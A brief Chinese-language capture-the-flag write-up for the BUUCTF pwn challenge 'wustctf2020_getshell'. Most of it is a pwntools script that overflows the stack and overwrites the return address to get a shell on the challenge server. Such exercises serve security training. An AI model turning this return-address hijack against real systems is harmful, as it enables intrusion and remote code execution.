[BUUCTF-pwn]——wustctf2020_getshell 额,太简单了直接上exploit吧 直接利用栈溢出,修改返回地址就好 from pwn import * p = remote('node3.buuoj.cn',28241) payload = 'a' * (0x18+4) + p32(0x0804851B) p.send(payload) p.interactive()